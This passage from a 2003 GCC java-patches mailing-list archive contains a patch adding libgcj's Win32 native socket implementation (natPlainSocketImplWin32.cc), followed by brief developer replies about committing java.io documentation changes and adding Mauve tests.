&val_len) != 0) + goto error; + return new java::lang::Integer (val); + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + break; + + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + if (::shutdown (fnum, 0)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + if (::shutdown (fnum, 1)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} Index: java/net/natPlainSocketImplWin32.cc =================================================================== RCS file: java/net/natPlainSocketImplWin32.cc diff -N java/net/natPlainSocketImplWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainSocketImplWin32.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,1019 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifndef DISABLE_JAVA_NET + +#ifdef WIN32 + +#include +#include +#include +#include +#undef STRICT +#undef MAX_PRIORITY +#undef MIN_PRIORITY +#undef FIONREAD + +// These functions make the Win32 socket API look more POSIXy +static inline int +write(int s, void *buf, int len) +{ + return send(s, (char*)buf, len, 0); +} + +static inline int +read(int s, void *buf, int len) +{ + return recv(s, (char*)buf, len, 0); +} + +// these errors cannot occur on Win32 +#else /* WIN32 */ + +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif + +// Pick up FIONREAD on Solaris 2.5. +#ifdef HAVE_SYS_FILIO_H +#include +#endif + +#include +#include +#include +#include + +#endif /* WIN32 */ +#endif /* DISABLE_JAVA_NET */ + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +void +java::net::PlainSocketImpl::create (jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.create: unimplemented")); +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *, jint) +{ + throw new BindException ( + JvNewStringLatin1 ("SocketImpl.bind: unimplemented")); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *, jint) +{ + throw new ConnectException ( + JvNewStringLatin1 ("SocketImpl.connect: unimplemented")); +} + +void +java::net::PlainSocketImpl::listen (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.listen: unimplemented")); +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.accept: unimplemented")); +} + +void +java::net::PlainSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.getOption: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jint b) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::sendUrgentData(jint data) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.sendUrgentData: unimplemented")); +} + +jint +java::net::PlainSocketImpl::available(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.available: unimplemented")); +} + +void +java::net::PlainSocketImpl::close(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.close: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownInput: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownOutput: unimplemented")); +} + +#else /* DISABLE_JAVA_NET */ + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +void +java::net::PlainSocketImpl::create (jboolean stream) +{ + int sock = _Jv_socket (AF_INET, stream ? SOCK_STREAM : SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *host, jint lport) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int i = 1; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + // Enable SO_REUSEADDR, so that servers can reuse ports left in TIME_WAIT. + ::setsockopt(fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &i, sizeof(i)); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + address = host; + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localport = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *addr, + jint timeout) +{ + java::net::InetSocketAddress *tmp = (java::net::InetSocketAddress*) addr; + java::net::InetAddress *host = tmp->getAddress(); + jint rport = tmp->getPort(); + + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + if (timeout > 0) + { + int flags = ::fcntl (fnum, F_GETFL); + ::fcntl (fnum, F_SETFL, flags | O_NONBLOCK); + + if ((_Jv_connect (fnum, ptr, len) != 0) && (errno != EINPROGRESS)) + goto error; + + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::net::SocketTimeoutException + (JvNewStringUTF ("Connect timed out")); + } + else +#endif + { + if (_Jv_connect (fnum, ptr, len) != 0) + goto error; + } + + address = host; + port = rport; + + // A bind may not have been done on this socket; if so, set localport now. + if (localport == 0) + { + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + } + + return; + + error: + char* strerr = strerror (errno); + throw new java::net::ConnectException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::listen (jint backlog) +{ + if (::listen (fnum, backlog) != 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *s) +{ + union SockAddr u; + socklen_t addrlen = sizeof(u); + int new_socket = 0; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException ( + JvNewStringUTF("Accept timed out")); + } +#endif /* WIN32 */ + + new_socket = _Jv_accept (fnum, (sockaddr*) &u, &addrlen); + + if (new_socket < 0) + goto error; + + _Jv_platform_close_on_exec (new_socket); + + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + s->fnum = new_socket; + s->localport = localport; + s->address = new InetAddress (raddr, NULL); + s->port = rport; + return; + + error: + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainSocketImpl::close() +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // should we use shutdown here? how would that effect so_linger? + int res = _Jv_close (fnum); + + if (res == -1) + { + // These three errors are not errors according to tests performed + // on the reference implementation. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + // Safe place to reset the file pointer. + fnum = -1; + timeout = 0; +} + +// Write a byte to the socket. +void +java::net::PlainSocketImpl::write(jint b) +{ + jbyte d =(jbyte) b; + int r = 0; + + while (r != 1) + { + r = _Jv_write (fnum, &d, 1); + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = 0; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + } +} + +// Write some bytes to the socket. +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + if (! b) + throw new java::lang::NullPointerException; + if (offset < 0 || len < 0 || offset + len > JvGetArrayLength (b)) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (b) + offset; + int written = 0; + + while (len > 0) + { + int r = _Jv_write (fnum, bytes, len); + + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = written; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + + written += r; + len -= r; + bytes += r; + } +} + +void +java::net::PlainSocketImpl::sendUrgentData (jint) +{ + throw new SocketException (JvNewStringLatin1 ( + "PlainSocketImpl: sending of urgent data not supported by this socket")); +} + +// Read a single byte from the socket. +jint +java::net::PlainSocketImpl::read(void) +{ + jbyte b; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum,&read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec = (timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); + // If select returns 0 we've waited without getting data... + // that means we've timed out. + if (sel_retval == 0) + throw new java::io::InterruptedIOException + (JvNewStringUTF ("read timed out") ); + // If select returns ok we know we either got signalled or read some data... + // either way we need to try to read. + } +#endif /* WIN32 */ + + int r = _Jv_read (fnum, &b, 1); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return b & 0xFF; +} + +// Read count bytes into the buffer, starting at offset. +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + if (! buffer) + throw new java::lang::NullPointerException; + + jsize bsize = JvGetArrayLength (buffer); + + if (offset < 0 || count < 0 || offset + count > bsize) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (buffer) + offset; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum, &read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec =(timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); + // We're only interested in the 0 return. + // error returns still require us to try to read + // the socket to see what happened. + if (sel_retval == 0) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = 0; + throw iioe; + } + } +#endif + + // Read the socket. + int r = ::recv (fnum, (char *) bytes, count, 0); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return r; +} + +// How many bytes are available? +jint +java::net::PlainSocketImpl::available(void) +{ +#if defined(FIONREAD) || defined(HAVE_SELECT) + long num = 0; + int r = 0; + bool num_set = false; + +#if defined(FIONREAD) + r = ::ioctl (fnum, FIONREAD, &num); + + if (r == -1 && errno == ENOTTY) + { + // If the ioctl doesn't work, we don't care. + r = 0; + num = 0; + } + else + num_set = true; +#elif defined(HAVE_SELECT) + if (fnum < 0) + { + errno = EBADF; + r = -1; + } +#endif + + if (r == -1) + { + posix_error: + throw new java::io::IOException(JvNewStringUTF(strerror(errno))); + } + + // If we didn't get anything we can use select. + +#if defined(HAVE_SELECT) + if (! num_set) + if (! num_set && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rd; + FD_ZERO (&rd); + FD_SET (fnum, &rd); + struct timeval tv; + tv.tv_sec = 0; + tv.tv_usec = 0; + r = _Jv_select (fnum + 1, &rd, NULL, NULL, &tv); + if(r == -1) + goto posix_error; + num = r == 0 ? 0 : 1; + } +#endif /* HAVE_SELECT */ + + return (jint) num; +#else + throw new java::io::IOException (JvNewStringUTF ("unimplemented")); +#endif +} + +void +java::net::PlainSocketImpl::setOption (jint optID, java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + if (boolobj->booleanValue()) + val = 1; + else + { + if (optID == _Jv_SO_LINGER_) + val = -1; + else + val = 0; + } + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + else + { + throw new java::lang::IllegalArgumentException ( + JvNewStringLatin1 ("`value' must be Boolean or Integer")); + } + + switch (optID) + { + case _Jv_TCP_NODELAY_ : +#ifdef TCP_NODELAY + if (::setsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif /* TCP_NODELAY */ + return; + + case _Jv_SO_KEEPALIVE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_BROADCAST_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_BROADCAST not valid for TCP")); + break; + + case _Jv_SO_OOBINLINE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + struct linger l_val; + l_val.l_onoff = (val != -1); + l_val.l_linger = val; + + if (::setsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + sizeof(l_val)) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_LINGER not supported")); +#endif /* SO_LINGER */ + return; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + struct linger l_val; + socklen_t l_val_len = sizeof(l_val); + + switch (optID) + { +#ifdef TCP_NODELAY + case _Jv_TCP_NODELAY_ : + if (::getsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + if (::getsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + &l_val_len) != 0) + goto error; + + if (l_val.l_onoff) + return new java::lang::Integer (l_val.l_linger); + else + return new java::lang::Boolean ((jboolean)false); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_LINGER not supported")); +#endif + break; + + case _Jv_SO_KEEPALIVE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_OOBINLINE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException + (JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + + return localAddress; + break; + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Integer (val); + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + break; + + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + if (::shutdown (fnum, 0)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + if (::shutdown (fnum, 1)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} + +#endif /* DISABLE_JAVA_NET */ --Boundary-00=_ajid+mgass5P+4G-- From java-patches-return-6510-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 21:43:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11250 invoked by alias); 17 Mar 2003 21:43:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11195 invoked from network); 17 Mar 2003 21:43:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 17 Mar 2003 21:43:51 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA04469; Mon, 17 Mar 2003 14:43:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 64AE04F8057; Mon, 17 Mar 2003 14:38:36 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: java.io - okay to commit ? References: <200303172011.18778.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. are the STEWED PRUNES still in the HAIR DRYER? Date: 17 Mar 2003 14:38:35 -0700 In-Reply-To: <200303172011.18778.konqueror@gmx.de> Message-ID: <87adft4qsk.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> the attached patch, merged much of java.io with classpath. This is Michael> documentation and indentation. Fine, thanks. In general I think pure documentation and indentation changes can go in under the "obvious" rule. Tom From java-patches-return-6511-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 22:07:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9592 invoked by alias); 17 Mar 2003 22:07:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9584 invoked from network); 17 Mar 2003 22:07:24 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 17 Mar 2003 22:07:24 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAB10744; Mon, 17 Mar 2003 15:07:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A71DD4F8057; Mon, 17 Mar 2003 15:02:09 -0700 (MST) To: raif@fl.net.au Cc: GCC libjava patches Subject: Re: java.security.AlgorithmParamterGenerator.java References: <200303021715.11260.raif@fl.net.au> <87wujbzt92.fsf@fleche.redhat.com> <200303071921.48816.raif@fl.net.au> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Fold, fold, FOLD!! FOLDING many items!! Date: 17 Mar 2003 15:02:09 -0700 In-Reply-To: <200303071921.48816.raif@fl.net.au> Message-ID: <87y93d3b4u.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Raif" == Raif S Naffah writes: Raif> q/ since most of these are for new methods and some for new classes and Raif> interfaces, is there a special procedure to specify this in the Mauve Raif> tests; ie. include the new tests iff the new classes/interfaces/methods Raif> are checked out? Did you get an answer to this? (I haven't checked my mauve inbox recently...) In general I think we just add the new tests. If a given implementation can't compile them, they can disable the test easily enough. It's friendly to put the new tests in a new file. And if the method or class was added in some particular JDK version, tag the file that way. Tom From java-patches-return-6512-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 22:43:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23433 invoked by alias); 17 Mar 2003 22:43:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23342 invoked from network); 17 Mar 2003 22:43:45 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by sources.redhat.com with SMTP; 17 Mar 2003 22:43:45 -0000 Received: from solomon (a3-p40.syd.fl.net.au [202.181.1.104]) by delenn.fl.net.au (Postfix) with ESMTP id 06F8E180734; Tue, 18 Mar 2003 09:52:03 +1100 (EST) Content-Type: text/plain; charset="iso-8859-1" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: tromey@redhat.com Subject: Re: java.security.AlgorithmParamterGenerator.java Date: Tue, 18 Mar 2003 09:50:23 +1100 User-Agent: KMail/1.4.3 Cc: GCC libjava patches References: <200303021715.11260.raif@fl.net.au> <200303071921.48816.raif@fl.net.au> <87y93d3b4u.fsf@fleche.redhat.com> In-Reply-To: <87y93d3b4u.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303180950.25293.raif@fl.net.au> -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 On Tuesday 18 March 2003 09:02, Tom Tromey wrote: > >>>>> "Raif" =3D=3D Raif S Naffah writes: > > Raif> q/ since most of these are for new methods and some for new > classes and Raif> interfaces, is there a special procedure to specify > this in the Mauve Raif> tests; ie. include the new tests iff the new > classes/interfaces/methods Raif> are checked out? > > Did you get an answer to this? (I haven't checked my mauve inbox > recently...) no i didnt. > In general I think we just add the new tests. If a given > implementation can't compile them, they can disable the test easily > enough. It's friendly to put the new tests in a new file. And if > the method or class was added in some particular JDK version, tag the > file that way. no worries. 